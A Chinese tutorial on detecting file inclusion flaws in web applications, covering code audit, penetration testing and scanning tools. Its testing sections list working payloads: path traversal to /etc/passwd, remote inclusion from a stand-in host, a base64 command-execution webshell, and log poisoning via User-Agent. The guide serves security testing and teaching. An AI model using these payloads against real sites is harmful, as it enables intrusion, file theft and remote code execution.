文件包含漏洞如何检测

wen 开源项目 27

本文目录导读:

文件包含漏洞如何检测

  1. 代码审计(白盒检测)
  2. 渗透测试(黑盒检测)
  3. 检测结果判定
  4. 使用自动化工具
  5. 总结与注意事项

文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,通常分为本地文件包含(LFI)远程文件包含(RFI),攻击者可以通过操控传递给文件包含函数的参数,读取敏感文件或执行恶意代码。

以下是检测文件包含漏洞的常用方法和步骤,从被动检测(代码审计)到主动检测(渗透测试)都有涉及。


代码审计(白盒检测)

如果你有源代码,这是最直接、最彻底的检测方式。

查找危险函数 搜索代码中所有可能引起文件包含的函数:

  • PHP: include()include_once()require()require_once()file_get_contents()fopen()readfile()highlight_file() 等。
  • JSP/Servlet: RequestDispatcher.include()response.sendRedirect()import 标签, <%@ include file="..." %>
  • ASP.NET: Response.WriteFile()Server.Execute()Include 指令。
  • 其他语言: importloadinclude 等类似函数。

重点检查参数来源 检查上述函数的参数是否直接或间接来源于用户输入(GET/POST 参数, Cookie, HTTP Header, 上传文件名等)。

// 危险:直接使用用户输入
include($_GET['page']);
// 相对安全:有限制,但可能被绕过
include('includes/' . $_GET['page'] . '.php');

检查路径过滤与限制

  • 是否有强制指定的文件扩展名(如 .php)?
  • 是否有路径限制(如只能访问特定目录)?
  • 是否存在目录遍历漏洞()的过滤,以及过滤是否可以被绕过(如使用 , , URL 编码 %2e%2e%2f)?
  • 是否禁用了 allow_url_include(PHP 中)?如果禁用了,则无法使用 RFI,但 LFI 仍有可能。

渗透测试(黑盒检测)

在没有源代码时,通过向目标应用发送精心构造的请求来探测漏洞。

基础探测

  • 识别输入点: 找到可能影响文件的参数,
    • ?page=home
    • ?file=readme.txt
    • ?template=default
    • ?lang=english
    • ?include=footer
  • 改变参数值: 尝试使用不同的值,观察应用行为是否改变(页面内容、错误信息等)。

测试本地文件包含(LFI)

尝试读取服务器上的敏感文件。

  • 基本路径遍历:
    • ?page=../../etc/passwd (Linux)
    • ?page=..\..\windows\win.ini (Windows)
  • 使用不同编码绕过过滤:
    • URL 双重编码:%252e%252e%252f -> %2e%2e%2f ->
    • Unicode 编码:..%c0%ae (在某些 IIS 版本中有效)
    • 16 进制编码:%2e%2e%2f
  • 使用不同路径分隔符:

    , , , , 等。

  • 配合空字节截断(仅适用于 PHP 5.3.4 之前版本):
    • 如果应用在字符串后加 .php(如 include($_GET['page'] . '.php');),可尝试 ?page=../../etc/passwd%00
  • 配合长路径截断(Windows):
    • 利用 Windows 路径长度限制,如 ?page=../../etc/passwd..............

测试远程文件包含(RFI)

如果应用可能从远程服务器加载文件,可以尝试包含一个自己控制的可访问 URL。

  • 基础测试:
    • ?page=http://your-server.com/evil.txt
    • ?page=https://your-server.com/evil.txt
  • 使用不同协议:
    • ?page=ftp://your-server.com/evil.txt
    • ?page=php://input (可以 POST 发送 PHP 代码)
    • ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ (PHP 代码 <?php system($_GET['cmd']); ?> 的 Base64 编码)

使用 PHP Wrappers(针对 PHP 环境的 LFI 进阶)

即使无法包含远程文件,PHP Wrappers 也能实现代码执行或信息泄露。

  • php://filter 读取源代码(Base64 编码后返回)。
    • ?page=php://filter/convert.base64-encode/resource=index.php
  • php://input 配合 allow_url_include=On,通过 POST 发送 PHP 代码执行。
  • data:// 直接写入数据。
    • ?page=data://text/plain,<?php%20phpinfo();%20?>
  • expect:// 如果安装了 expect 扩展,可直接执行命令。
    • ?page=expect://id
  • phar:// / zip:// 配合文件上传漏洞,通过包含恶意文件解压后的内容执行代码。

使用日志文件包含(Log Poisoning)

如果无法通过普通文件读取得到 shell,可以尝试污染日志文件,然后包含它。

  • 步骤:
    1. 向服务器发送包含恶意代码的请求(User-Agent 或 Referer 头)。 User-Agent: <?php system($_GET['cmd']); ?>
    2. 找到日志文件路径(如 Apache 的 /var/log/apache2/access.log, Nginx 的 /var/log/nginx/access.log)。
    3. 使用 LFI 包含该日志文件(加上命令参数): ?page=../../var/log/apache2/access.log&cmd=id

检测结果判定

  • 变化: 成功包含文件后,页面内容会包含该文件的内容(如 /etc/passwd 的用户列表)。
  • 错误信息泄露: 如果包含失败,页面可能会显示错误信息,Warning: include(does_not_exist.php): failed to open stream: No such file or directory,这可以帮助确认漏洞存在。
  • HTTP 响应状态码: 有时状态码也能提供信息。
  • 响应时间: 如果尝试包含远程服务器上的大文件,响应时间可能变长(前提是应用没有超时)。

使用自动化工具

手动检测效率较低,尤其在大型应用中,以下工具可以自动完成检测:

  • Burp Suite (Intruder, Scanner): 自定义 Payload 列表,通过 Intruder 模块批量测试,也可以使用主动扫描功能。
  • OWASP ZAP: 开源的 Web 应用安全扫描器,支持自动化 LFI/RFI 检测。
  • Kali Linux 专用工具:
    • fimap: 专门用于 LFI/RFI 的检测与利用工具。
    • LFISuite: 功能较全的 LFI 自动化工具。
    • Commix: 当 LFI 成功时,它可以自动化利用漏洞执行命令。
    • wfuzz / ffuf: 灵活的模糊测试工具,配合字典使用。

使用 Burp Suite 的简单流程:

  1. 拦截一个包含可疑参数的请求(如 ?page=home)。
  2. 发送到 Intruder,将参数值 home 标记为 Payload 位置。
  3. 加载一个常用 LFI Payload 字典(如 ../../etc/passwdphp://filter/%00 等)。
  4. 启动攻击,根据响应长度、状态码、内容等筛选出异常结果。

总结与注意事项

  • 从简单开始: 先测试基本的路径遍历,再尝试编码和 Wrapper。
  • 结合环境: 理解目标使用的框架、语言和服务器配置(如 allow_url_include 是否开启)。
  • 注意日志污染: 日志文件包含是一种非常实用且常见的方法。
  • 注意安全: 检测漏洞时,不要在未经授权的情况下进行,始终遵循渗透测试协议,如果成功读取了敏感文件,不要外泄,只需记录漏洞存在即可。
  • 考虑误报: 有些响应变化可能是应用正常逻辑(如处理错误信息),建议结合多个 Payload 和上下文进行交叉验证。

抱歉,评论功能暂时关闭!